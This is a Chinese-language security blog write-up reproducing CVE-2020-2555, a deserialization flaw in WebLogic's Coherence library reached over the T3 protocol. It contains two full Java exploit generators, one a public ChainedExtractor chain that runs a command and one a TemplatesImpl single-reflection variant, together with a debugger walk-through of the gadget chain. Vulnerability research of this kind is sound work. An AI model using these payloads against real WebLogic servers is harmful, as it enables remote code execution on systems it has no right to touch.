CVE-2020-2555调用链复现分析

本文首发于先知社区:https://xz.aliyun.com/t/7417

0x01前言

  该洞主要针对weblogic的coherence.jar中存在能够实现反序列化gadget构造的类,并且经过T3协议接收的数据经过反序列化处理后将导致漏洞的产生,这篇文章主要详细记录调试学习CVE-2020-2555的过程,并分享一个区别于公开poc的利用TemplateImpl类实现单次反射进行rce的例子。

0x02通信过程

网上公布的poc如下:

package T3;

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;

import javax.management.BadAttributeValueExpException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class exp {
    public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException {
        String cmd = "calc";
        //定义多次转换链进行反射调用
        ValueExtractor[] valueExtractors = new ValueExtractor[]{
                new ReflectionExtractor("getMethod", new Object[]{
                        "getRuntime", new Class[0]
                }),
                new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
                new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
    };
        //初始化LimitFiler类实例
        LimitFilter limitFilter = new LimitFilter();
        limitFilter.setTopAnchor(Runtime.class);
        BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
        Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));
        Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
        m_oAnchorTop.setAccessible(true);
        m_oAnchorTop.set(limitFilter, Runtime.class);
        //将limitFilter放入BadAttributeValueExpException的val属性中
        Field val = expException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(expException, limitFilter);
        //生成序列化payload
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir")+"/javasec-weblogic/src/main/resources/poc.ser"));
        objectOutputStream.writeObject(expException);
        objectOutputStream.close();
    }
}

本地测试环境为weblogic版本为12.1.3.0.0+jdk1.8.0,运行weblogic_t3.py通过t3协议发送序列化的payload
image.png
在idea中添加调试需要的jar包后,直接找到LimitFilter的tostring方法,并下断点再次发送poc即可,此时wireshark抓包也可看到具体的通信数据
image.png
image.png
其中weblogic_t3.py中先向weblogic发送了T3协议头的数据包,然后再读取序列化数据进行发送。那么在数据中查找序列化的魔术头部ac ed 00 05 可以发现出现多处,首先说明weblogic的t3协议输出序列化数据用的是jre的原生ObjectOutputStream,和IIOP协议是不同的,并且实际上exp实际上发送了多个部分的序列化数据,其中多段序列化数据以fe 01 00 00 隔开,从数据包中可看到我们的序列化payload实际上是作为第一段反序列化数据插入其中,插入其他位置也可以,具体可以参考修复weblogic的JAVA反序列化漏洞的多种方法,这篇文章关于如何构造weblogic序列化数据也说得非常详细。
image.png

0x03调用链分析

首先调用ServerChannelInputStream(其父类为ObjectInputStream)的构造方法将MsgAbbrevInputStream转为ObjectInputStream,接着再调用readObject即为调用jre原生的反序列化的ObjectInputStream.readObject()
image.png
image.png
那么很显然接下来将一路走到BadAttributeValueExpException的readObject方法,那么在ysoserial的CommonsCollections5的gadget最外层的入口即为该类,该类的readObject函数中在security manager为null的情况下将调用该类val成员属性的tostring方法,那么在该漏洞中就到了weblogic的coherence.jar包的com/tangosol/util/filter/LimitFilter类,也就是之前下的断点处
image.png
那么在该漏洞中就到了weblogic的coherence.jar包的com/tangosol/util/filter/LimitFilter类,也就是之前下的断点处
image.png
那么接下来将获取到该类的m_comparator成员属性,并调用其extract函数,因为反序列化数据是可控的,因此这里this.m_oAnchorTop成员属性也为可控
image.png
网上公开的poc中说的都是这里用到的为ChainedExtractor
image.png
其extract方法和ysoserial中的ChainedTransformer的transform方法有着相似之处,chained从字面意思上来理解就是其肯定存在一个为数组类型的成员属性保存一组Extractor来依次调用其extract函数,并将调用结果返回
image.png
那么转换链又是通过调用getExtractors()方法得到,该属性即为m_aExtractor属性,其可控
image.png
那么在poc中chainedExtractor中存放的为coherence.jar中的com/tangosol/util/extractor/ReflectionExtractor类的实例
image.png
从类名字的就可以隐约猜出该类应该和java的反射机制相关,其extract函数中也正是实现了任意方法的调用,其中方法名this.m_sMethod和对应的参数值this.m_aoParam都是可控的
image.png
那么在poc中第一次传入的class类型的java.lang.Runtime
image.png
那么和CommonsCollections1中用到的transfrom函数作用相似,因为这里this.m_methodPrev为null,因此调用this.getMethodName()返回this.m_sMethod存储的方法(即为getMethod),所以第一步反射调用Runtime类的getmethod方法返回Method类型的getruntime方法
image.png
那么在反射调用时因为已经有了Method类型的getruntime方法,那么只需再反射调用invoke函数即可返回Runtime类的实例,那么此时this.m_sMethod的存储即为invoke函数
image.png
那么第三次进入extract函数只需反射调用Runtime实例的exec方法就可以执行命令了,那么此时this.m_sMethod存储的即为exec,那么调用链至此已经结束了
image.png
image.png

0x04单次反射rce链

poc2:

package T3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;


public class exp {
    public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, NotFoundException, CannotCompileException, ClassNotFoundException {
        //初始化TemplatesImpl实例
        TemplatesImpl temp = new TemplatesImpl();
        ClassPool pool =  ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(payload.class));
        CtClass payload = pool.get(T3.payload.class.getName());
        byte[] PayByte = payload.toBytecode();
        //将payload字节码放入_bytecodes属性
        Class clz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field ByteCode = clz.getDeclaredField("_bytecodes");
        ByteCode.setAccessible(true);
        ByteCode.set(temp,new byte[][]{PayByte});
        //_name不为空即可
        Field name = clz.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(temp,"tr1ple");

        String cmd = "calc";
        //定义单次反射要调用的方法
        ValueExtractor valueExtractor = new ReflectionExtractor("getOutputProperties", new Object[0]);
        //构造LimitFilter实例,并将temp放入
        LimitFilter limitFilter = new LimitFilter();
        limitFilter.setTopAnchor(temp);
        BadAttributeValueExpException expException = new BadAttributeValueExpException(null);

        Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(limitFilter, valueExtractor);

        Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
        m_oAnchorTop.setAccessible(true);
        m_oAnchorTop.set(limitFilter, temp);

        Field val = expException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(expException, limitFilter);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir")+"/javasec-weblogic/src/main/resources/poc.ser"));
        objectOutputStream.writeObject(expException);
        objectOutputStream.close();
    }
}

该poc构造起来也比较容易,既然extrat方法可以反射调用任意方法,并且extract入口参数也是可控的,因此可以改造一下现有的chained转换链,结合TemplatesImpl这个类,该类是jdk的内置类,在打fastjson和ysoserial的gadget构造中都用到过,该类的有两个方法getOutputProperties和newTransformer都可以触发实例化其成员属性的_bytecodes中存储的字节码以便于实现rce,那么经过改造后我们不再需要chainedExtractor的多次反射,只需要ReflectionExtractor进行一次反射即可
image.png

参考

posted @ 2020-03-25 10:38  tr1ple  阅读(2120)  评论(0编辑  收藏  举报